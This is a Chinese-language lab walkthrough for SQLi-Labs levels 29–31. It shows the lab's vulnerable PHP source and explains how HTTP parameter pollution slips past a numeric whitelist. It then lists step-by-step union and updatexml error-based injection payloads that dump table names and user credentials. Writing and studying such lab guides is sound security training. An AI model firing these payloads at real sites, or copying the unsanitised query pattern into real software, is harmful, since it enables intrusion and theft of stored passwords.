SQL-Labs靶场“29-31”关通关教程

君衍.

  • 一、二十九关 基于错误的WAF单引号注入
    • 1、源码分析
    • 2、HTTP参数污染
    • 3、联合查询注入
    • 4、updatexml报错注入
  • 二、三十关 基于错误的WAF双引号注入
    • 1、源码分析
    • 2、联合查询注入
    • 3、updatexml报错注入
  • 三、三十一关 基于错误的WAF双引号括号注入
    • 1、源码分析
    • 2、联合查询注入
    • 3、updatexml报错注入

点击跳转:
SQL-Labs靶场“1-5”关通关教程
SQL-Labs靶场“6-10”关通关教程
SQL-Labs靶场“11-15”关通关教程
SQL-Labs靶场“15-20”关通关教程
SQL-Labs靶场“21-25”关通关教程
SQL-Labs靶场“26-28”关通关教程

一、二十九关 基于错误的WAF单引号注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=‘$id’

这道题如果按照我们以往的思路去做其实是错误的,下面我们进行错误的示范,首先使用1以及1单引号进行测试:
在这里插入图片描述
在这里插入图片描述
好了,这下我们直接发现了可以使用联合查询以及报错注入了。然后我们查字段···爆数据,最后发现注入成功了:
在这里插入图片描述
对,上面便是错误的解题,因为我们会发现这一关跟第一关没啥区别了,很简单,实际上我们首先需要进行源码的分析。

1、源码分析

本关包含了三个源码文件,index.php、login.php以及hacked.php文件:
三个文件所展示的页面依次如下:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
好的,下面我们来分析源代码,由于hacked.php源码没啥东西,这里就不详细讲了,需要的查看图片。
index.php:

if(isset($_GET['id']))
{
	$id=$_GET['id'];
	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'ID:'.$id."\n");
	fclose($fp);
	$qs = $_SERVER['QUERY_STRING'];
	$hint=$qs;
// connectivity 
	$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
	$result=mysqli_query($con1, $sql);
	$row = mysqli_fetch_array($result, MYSQLI_BOTH);
	if($row)
	{
	  	echo 'Your Login name:'. $row['username'];
	  	echo 'Your Password:' .$row['password'];
  	}
	else 
	{
		print_r(mysqli_error($con1));
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

下面我进行大致解读,首先就是获取传入id的值,然后执行whitelist进行过滤检测,判断看是否有符号限制规则。之后就是查询,查到显示查询结果,没查到报错。

login.php:

if(isset($_GET['id']))
{
	$qs = $_SERVER['QUERY_STRING'];
	$hint=$qs;
	$id1=java_implimentation($qs);
	$id=$_GET['id'];
	//echo $id1;
	whitelist($id1);
	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'ID:'.$id."\n");
	fclose($fp);
// connectivity 
	$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
	$result=mysqli_query($con1, $sql);
	$row = mysqli_fetch_array($result, MYSQLI_BOTH);
	if($row)
	{
	  	echo 'Your Login name:'. $row['username'];
	  	echo 'Your Password:' .$row['password'];  	}
	else 
	{
		print_r(mysqli_error($con1));
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

接着我进行大致解读,首先查询query字符串,模拟tomcat的查询函数处理,之后再次进行过滤检测,将结果传入sql查询语句当中继续进行查询,如果查询到信息,输出查询信息,如果查不到,那么就输出报错结果。

下面便是最关键的一部分,也是login.php中的两个函数:

//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{
	$match = preg_match("/^\d+$/", $input);
	if($match)
	{
		//echo "you are good";
		//return $match;
	}
	else
	{	
		header('Location: hacked.php');
		//echo "you are bad";
	}
}

// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
	$q_s = $query_string;
	$qs_array= explode("&",$q_s);
	foreach($qs_array as $key => $value)
	{
		$val=substr($value,0,2);
		if($val=="id")
		{
			$id_value=substr($value,3,30); 
			return $id_value;
			echo "<br>";
			break;
		}
	}
}

以上是两个函数的源码,下面我们进行分析:

  • $match = preg_match("/^\d+$/", $input);
    • 在whitelist函数当中,首先对获取到的id参数进行正则匹配,必须是数字,^表示匹配输出子行首,$符表示匹配输入行尾,\d匹配一个数字字符,0-9,+表示匹配前面得子表达式一次或多次
  • 然后进行if判断,如果不是数字,那么跳转到hacked.php页面,以上便是whitelist函数内容
  • 下面是java_implimentation函数
    • $q_s = $query_string;$qs_array= explode("&",$q_s);
    • 这里首先将$query_string的变量值赋给$q_s变量,下一步便是使用explode函数将字符串$q_s根据&符号进行分割,生成一个$qs_array数组。也就是将id=1&id=2分割为[id=1,id=2]

最后便是一个遍历函数:

# 遍历数组中每一个元素,同时将值赋给key
# 当前元素将值赋给value
foreach($qs_array as $key => $value)
{
	# 使用substr函数从value中提取两个字符赋给val
	$val=substr($value,0,2);
	# 进行判断,看val是否等于字符串id
	# 如果当前元素的前两个字符是id
	if($val=="id")
	{
		# 从当前元素值value中提取第四个字符开始30个字符,赋给id_value
		$id_value=substr($value,3,30); 
		return $id_value;
		echo "<br>";
		break;
	}
}

对,这里我们看似没有问题,实际上:

$id1=java_implimentation($qs);
...
whitelist($id1);

这个函数捕捉到id值时候就会返回return $id_value,这样就会导致用户加入构造两组id,后面的id就会绕过函数检测,如果还不懂的话我们可以慢慢来,现在源码分析完了,我们接下来查看模拟的场景。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、HTTP参数污染

首先我们找到登录页面:
在这里插入图片描述
我们可以看到下面有两个文档,然后点击第一个链接:
在这里插入图片描述
往下滑即可看到:
在这里插入图片描述
在这里插入图片描述
这里我们可以看到列举了好多中间件,以及获取的参数的情况表。这里我们着重认识apache、tomcat、python、php、IIS等常用的获取到参数的情况。
这里我们可以看到tomcat服务器只解析参数中的前者,而真正的apache服务器则解析后者:
在这里插入图片描述
所以这里我们就可以传入两个id参数,前者合法,然后后者进行注入。
这便是这关的原理!!!

?id=1&id=注入语句

以上便是HTTP参数污染中的情况,即为攻击者通过在HTTP请求中插入特定的参数来发起攻击,如果Web应用中存在这样的漏洞,可以被攻击者利用来进行客户端或者服务器端的攻击。

3、联合查询注入

1、猜测字段

?id=1&id=1' order by 3--+
?id=1&id=1' order by 4--+

在这里插入图片描述
在这里插入图片描述

2、爆出数据库名

?id=1&id=-1' union select 1,database(),version();%00

在这里插入图片描述

3、爆出数据库中所有表名

?id=1&id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security';%00

在这里插入图片描述

4、爆出users表中所有列名

?id=1&id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users';%00

在这里插入图片描述

5、爆出数据

?id=1&id=-1'union select 1,group_concat(username,0x3a,password),3 from users;%00

在这里插入图片描述
到这里使用union注入完毕。

4、updatexml报错注入

1、爆出数据库名称

?id=1&id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

在这里插入图片描述

2、爆出数据库中的所有表

?id=1&id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+

在这里插入图片描述

3、爆出users中的列名

?id=1&id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

在这里插入图片描述

4、爆出数据

?id=1&id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

在这里插入图片描述
更改limit值即可完成注入。

二、三十关 基于错误的WAF双引号注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=“$id”

本关与二十九关不同的点在于闭合方式不同,剩余的都相同。所以这里我就不讲原理了,直接查看源码注入即可。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

1、源码分析

依旧是三个文件,源码与29关基本相同,除了闭合方式:

$id = '"' .$id. '"';
···
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

其余一致:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、联合查询注入

1、猜测字段

?id=1&id=1" order by 3--+
?id=1&id=1" order by 4--+

在这里插入图片描述
在这里插入图片描述

2、爆出数据库名

?id=1&id=-1" union select 1,database(),version();%00

在这里插入图片描述

3、爆出数据库中所有表名

?id=1&id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security';%00

在这里插入图片描述

4、爆出users表中所有列名

?id=1&id=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users';%00

在这里插入图片描述

5、爆出数据

?id=1&id=-1" union select 1,group_concat(username,0x3a,password),3 from users;%00

在这里插入图片描述
到这里使用union注入完毕。

3、updatexml报错注入

1、爆出数据库名称

?id=1&id=1" and updatexml(1,concat(0x7e,database(),0x7e),1)--+

在这里插入图片描述

2、爆出数据库中的所有表

?id=1&id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+

在这里插入图片描述

3、爆出users中的列名

?id=1&id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

在这里插入图片描述

4、爆出数据

?id=1&id=1" and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

在这里插入图片描述
更改limit值即可完成注入。

三、三十一关 基于错误的WAF双引号括号注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=(“$id”)

本关与二十九关不同的点在于闭合方式不同,剩余的都相同。所以这里我就不讲原理了,直接查看源码注入即可。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

1、源码分析

依旧是三个文件,源码与29关基本相同,除了闭合方式:

$id = '"' .$id. '"';
···
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

其余一致:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、联合查询注入

1、猜测字段

?id=1&id=1") order by 3--+
?id=1&id=1") order by 4--+

在这里插入图片描述
在这里插入图片描述

2、爆出数据库名

?id=1&id=-1") union select 1,database(),version();%00

在这里插入图片描述

3、爆出数据库中所有表名

?id=1&id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security';%00

在这里插入图片描述

4、爆出users表中所有列名

?id=1&id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users';%00

在这里插入图片描述

5、爆出数据

?id=1&id=-1") union select 1,group_concat(username,0x3a,password),3 from users;%00

在这里插入图片描述
到这里使用union注入完毕。

3、updatexml报错注入

1、爆出数据库名称

?id=1&id=1") and updatexml(1,concat(0x7e,database(),0x7e),1)--+

在这里插入图片描述

2、爆出数据库中的所有表

?id=1&id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+

在这里插入图片描述

3、爆出users中的列名

?id=1&id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

在这里插入图片描述

4、爆出数据

?id=1&id=1") and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

在这里插入图片描述
更改limit值即可完成注入。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/426101.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

个人项目介绍2:地球卫星篇

项目需求&#xff1a; 在项目中显示三维地球及主要城市标注&#xff0c;接收服务端发来的实施卫星数据&#xff0c;显示卫星姿态角&#xff0c;陀螺角&#xff0c;飞轮等数据&#xff1b;可自定义模拟产生更多卫星轨迹&#xff1b;可模拟显示卫星躲避陨石动画&#xff1b;可展…

内含资料下载丨黄东旭:2024 现代应用开发关键趋势——降低成本、简化架构

作为一名工程师和创业者&#xff0c;创办 PingCAP 是我进入创新世界的一次深潜。这段旅程既有令人振奋的发现&#xff0c;也充满令人生畏的不确定性。作为这次探险之旅见证的 TiDB &#xff0c;现在已在全球服务超过 3000 家企业&#xff0c;其中有已经实现了商业成功的大公司&…

Canvas笔记03:Canvas元素功能、属性、获取、原理等一文讲透

hello&#xff0c;我是贝格前端工场&#xff0c;最近在学习canvas&#xff0c;分享一些canvas的一些知识点笔记&#xff0c;本期分享canvas元素的知识&#xff0c;欢迎老铁们一同学习&#xff0c;欢迎关注&#xff0c;如有前端项目可以私信贝格。 Canvas元素是HTML5中的一个重…

(二)逻辑回归与交叉熵--九五小庞

什么是逻辑回归 线性回归预测的是一个连续值&#xff0c;逻辑回归给出的“是”和“否”的回答 Singmoid sigmoid函数是一个概率分布函数&#xff0c;给定某个输入&#xff0c;它将输出为一个概率值 逻辑回归损失函数 平方差所惩罚的是与损失为同一数量级的情形&#xff0…

设计模式(十四)中介者模式

请直接看原文: 原文链接:设计模式&#xff08;十四&#xff09;中介者模式_设计模式之中介模式-CSDN博客 -------------------------------------------------------------------------------------------------------------------------------- 前言 写了很多篇设计模式的…

浅谈S-VIDEO接口静电浪涌防护

S-Video 接口曾经在一些旧款的电视机、录像机、游戏机等设备上广泛应用&#xff0c;用于传输视频信号。不过&#xff0c;随着技术的发展&#xff0c;S-Video 接口已经逐渐被其他更先进的接口所取代&#xff0c;比如 HDMI、DVI 等。 现在S-video接口广泛应用于电视、监视器、摄…

计算机视觉基础知识(二)---数字图像

像素 像素是分辨率的单位;构成位图图像的最基本单元;每个像素都有自己的颜色; 图像分辨率 单位英寸内的像素点数;单位为PPI(Pixels Per Inch),为像素每英寸;PPI表示每英寸对角线上所拥有的像素数目:,x:长度像素数目,y:宽度像素数目,Z:屏幕大小;屏幕尺寸(大小)指的是对角线长…

文件底层的理解之缓冲区

目录 一、缓冲区的初步认识 二、向文件中写数据的具体过程 三、缓冲区刷新的时机 一、缓冲区的初步认识 缓冲区其实就是一块内存区域&#xff0c;采用空间来换时间&#xff0c;可以提高使用者的效率。我们一直说的缓冲区其实是语言层面上的缓冲区&#xff0c;其实操作系统内部…

YOLOv应用开发与实现

一、背景与简介 YOLO&#xff08;You Only Look Once&#xff09;是一种流行的实时目标检测系统&#xff0c;其核心思想是将目标检测视为回归问题&#xff0c;从而可以在单个网络中进行端到端的训练。YOLOv作为该系列的最新版本&#xff0c;带来了更高的检测精度和更快的处理速…

数据要素:数字化转型中的新“金矿”及其发展潜力

作为一名在数字化转型项目中摸爬滚打的实践者&#xff0c;我们见证了数据从简单的信息处理工具逐渐演变为驱动经济社会发展的关键要素。近日&#xff0c;多部门联合发布的《“数据要素”三年行动计划&#xff08;2024—2026年&#xff09;》更是将数据要素的重要性提升到了新的…

什么是BGP网络 (边界网关协议)

BGP&#xff08;边界网关协议&#xff09;是一种用于在互联网中交换路由信息的协议。作为网关或路由器之间的协议&#xff0c;BGP主要用于帮助确定数据包在网络中的路径。它通过在不同自治系统&#xff08;AS&#xff09;之间交换路径信息&#xff0c;实现了全球互联网网络的连…

linux安装matlab获取许可证

1.点击许可证 2. 3. 4. 4.主机ID 打开linux输入 /sbin/ifconfigether后边的就是 6.计算机登录名 打开linux输入 whoami7. 8. 9.

【zookeeper】在Windows上启动zookeeper

&#x1f34e;个人博客&#xff1a;个人主页 &#x1f3c6;个人专栏&#xff1a;软件的安装使用 ⛳️ 功不唐捐&#xff0c;玉汝于成 目录 前言 正文 1.下载ZooKeeper&#xff1a; 2.配置ZooKeeper&#xff1a; 3.启动ZooKeeper&#xff1a; 4.关闭ZooKeeper&#xff…

【Matlab深度学习】详解matlab深度学习进行时间序列预测

&#x1f517; 运行环境&#xff1a;Matlab &#x1f6a9; 撰写作者&#xff1a;左手の明天 &#x1f947; 精选专栏&#xff1a;《python》 &#x1f525; 推荐专栏&#xff1a;《算法研究》 &#x1f510;#### 防伪水印——左手の明天 ####&#x1f510; &#x1f497; 大家…

Power BI vs Superset BI 调研报告

调研结论 SupersetPower BI价格开源①. Power BI Pro 每人 $10/月($120/年/人) ②. Power BI Premium 每人 $20/月($240/年/人) ③. Power BI Embedded:4C10G $11W/年 权限基于角色的访问控制,支持细粒度的访问: 表级别、库级别、图表级别,看板级别,用户级别 基于角色…

黑马点评-商户查询业务

缓存原理 本文的业务就是redis的经典应用&#xff0c;标准的操作方式就是查询数据库之前先查询缓存&#xff0c;如果缓存数据存在&#xff0c;则直接从缓存中返回&#xff0c;如果缓存数据不存在&#xff0c;再查询数据库&#xff0c;然后将数据存入redis。 缓存更新策略 根据…

Node.js(六)-数据库与身份认证

一 、学习目标 ◆ 能够知道如何配置MySQL数据库环境 ◆ 能够认识并使用常见的 SQL语操作数据库 ◆ 能够在Express中操作MySQL数据库 ◆ 能够了解 Session的实现原理 ◆ 能够了解JWT的实现原理 二、数据库的基本概念 1.1 什么是数据库 数据库&#xff08;database&#xff09;…

反编译代码格式处理

反编译代码格式处理 背景解决方案程序跑之后idea格式化 总结 背景 想看看公司里一个工具的代码实现&#xff0c;手里只有一个jar包&#xff0c;只能通过jd-gui反编译代码。但是呢&#xff0c;源码是有了&#xff0c;但是看的很难受。 解决方案 /*** 替换 {code searchDir}中…

【leetcode】圆圈中最后剩下的数字

目录 1. 问题 2. 思路 3. 代码 4. 运行 1. 问题 本题即为典型的约瑟夫问题&#xff0c;通过递推公式倒推出问题的解。原始问题是从n个人中每隔m个数踢出一个人&#xff0c;原始问题变成从n-1个人中每隔m个数踢出一个人…… 示例 1&#xff1a; 输入: n 5, m 3 输出: 3…

【详识JAVA语言】面向对象程序三大特性之二:继承

继承 为什么需要继承 Java中使用类对现实世界中实体来进行描述&#xff0c;类经过实例化之后的产物对象&#xff0c;则可以用来表示现实中的实体&#xff0c;但是 现实世界错综复杂&#xff0c;事物之间可能会存在一些关联&#xff0c;那在设计程序是就需要考虑。 比如&…